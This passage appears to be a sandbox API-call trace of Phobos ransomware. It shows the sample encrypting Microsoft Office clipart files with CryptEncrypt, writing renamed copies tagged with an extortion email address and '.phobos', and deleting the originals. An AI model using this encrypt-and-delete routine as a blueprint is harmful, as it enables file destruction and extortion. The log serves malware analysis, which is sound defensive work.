CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x17c0, dwBufLen=0x17c0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x17c0) returned 1 [0133.674] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x17c0, lpOverlapped=0x0) returned 1 [0133.681] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752d98) returned 1 [0133.681] CryptSetKeyParam (hKey=0x752d98, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.681] CryptEncrypt (in: hKey=0x752d98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0133.681] CryptDestroyKey (hKey=0x752d98) returned 1 [0133.681] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0133.681] CryptDestroyKey (hKey=0x753098) returned 1 [0133.681] CloseHandle (hObject=0x30c) returned 1 [0133.681] CloseHandle (hObject=0x310) returned 1 [0133.681] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 1 [0133.682] SetEvent (hEvent=0x2b8) returned 1 [0133.682] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0133.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.682] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=11002) returned 1 [0133.682] CloseHandle (hObject=0x310) returned 1 [0133.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x220 [0133.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.683] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.683] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.683] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.683] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.683] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752cd8) returned 1 [0133.683] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.683] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x2afa, lpOverlapped=0x0) returned 1 [0133.713] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x2b00, dwBufLen=0x2b00 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x2b00) returned 1 [0133.713] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x2b00, lpOverlapped=0x0) returned 1 [0133.714] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x753018) returned 1 [0133.714] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.714] CryptEncrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0133.714] CryptDestroyKey (hKey=0x753018) returned 1 [0133.714] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0133.714] CryptDestroyKey (hKey=0x752cd8) returned 1 [0133.714] CloseHandle (hObject=0x310) returned 1 [0133.714] CloseHandle (hObject=0x30c) returned 1 [0133.714] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 1 [0133.715] SetEvent (hEvent=0x2b8) returned 1 [0133.715] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0133.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.715] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=16396) returned 1 [0133.715] CloseHandle (hObject=0x30c) returned 1 [0133.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x220 [0133.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.716] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.716] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.716] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752dd8) returned 1 [0133.716] CryptSetKeyParam (hKey=0x752dd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.716] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x400c, lpOverlapped=0x0) returned 1 [0133.746] CryptEncrypt (in: hKey=0x752dd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x4010, dwBufLen=0x4010 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x4010) returned 1 [0133.746] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x4010, lpOverlapped=0x0) returned 1 [0133.748] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752e18) returned 1 [0133.748] CryptSetKeyParam (hKey=0x752e18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.748] CryptEncrypt (in: hKey=0x752e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0133.748] CryptDestroyKey (hKey=0x752e18) returned 1 [0133.748] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0133.748] CryptDestroyKey (hKey=0x752dd8) returned 1 [0133.748] CloseHandle (hObject=0x30c) returned 1 [0133.748] CloseHandle (hObject=0x310) returned 1 [0133.748] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 1 [0133.749] SetEvent (hEvent=0x2b8) returned 1 [0133.749] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0133.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.749] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2108) returned 1 [0133.749] CloseHandle (hObject=0x310) returned 1 [0133.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x220 [0133.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.749] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.750] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.750] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752f98) returned 1 [0133.750] CryptSetKeyParam (hKey=0x752f98, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.750] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x83c, lpOverlapped=0x0) returned 1 [0133.759] CryptEncrypt (in: hKey=0x752f98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x840, dwBufLen=0x840 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x840) returned 1 [0133.759] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x840, lpOverlapped=0x0) returned 1 [0133.760] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752a18) returned 1 [0133.760] CryptSetKeyParam (hKey=0x752a18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.760] CryptEncrypt (in: hKey=0x752a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0133.760] CryptDestroyKey (hKey=0x752a18) returned 1 [0133.760] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0133.760] CryptDestroyKey (hKey=0x752f98) returned 1 [0133.760] CloseHandle (hObject=0x310) returned 1 [0133.760] CloseHandle (hObject=0x30c) returned 1 [0133.760] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 1 [0133.761] SetEvent (hEvent=0x2b8) returned 1 [0133.761] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0133.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.761] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=8926) returned 1 [0133.762] CloseHandle (hObject=0x30c) returned 1 [0133.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x220 [0133.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.762] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.762] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.762] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752dd8) returned 1 [0133.762] CryptSetKeyParam (hKey=0x752dd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.763] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x22de, lpOverlapped=0x0) returned 1 [0133.801] CryptEncrypt (in: hKey=0x752dd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x22e0, dwBufLen=0x22e0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x22e0) returned 1 [0133.801] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x22e0, lpOverlapped=0x0) returned 1 [0133.804] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752cd8) returned 1 [0133.804] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.804] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0133.804] CryptDestroyKey (hKey=0x752cd8) returned 1 [0133.805] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0133.805] CryptDestroyKey (hKey=0x752dd8) returned 1 [0133.805] CloseHandle (hObject=0x30c) returned 1 [0133.805] CloseHandle (hObject=0x310) returned 1 [0133.805] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 1 [0133.806] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0133.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.807] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=1472) returned 1 [0133.807] CloseHandle (hObject=0x310) returned 1 [0133.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x220 [0133.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.807] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.807] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.807] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.807] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.807] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x753098) returned 1 [0133.807] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.807] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x5c0, lpOverlapped=0x0) returned 1 [0133.828] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x5d0, dwBufLen=0x5d0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x5d0) returned 1 [0133.828] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x5d0, lpOverlapped=0x0) returned 1 [0133.829] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x753158) returned 1 [0133.829] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.829] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0133.829] CryptDestroyKey (hKey=0x753158) returned 1 [0133.829] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0133.829] CryptDestroyKey (hKey=0x753098) returned 1 [0133.829] CloseHandle (hObject=0x310) returned 1 [0133.829] CloseHandle (hObject=0x30c) returned 1 [0133.829] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 1 [0133.830] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0133.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.830] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=896) returned 1 [0133.830] CloseHandle (hObject=0x30c) returned 1 [0133.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x220 [0133.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 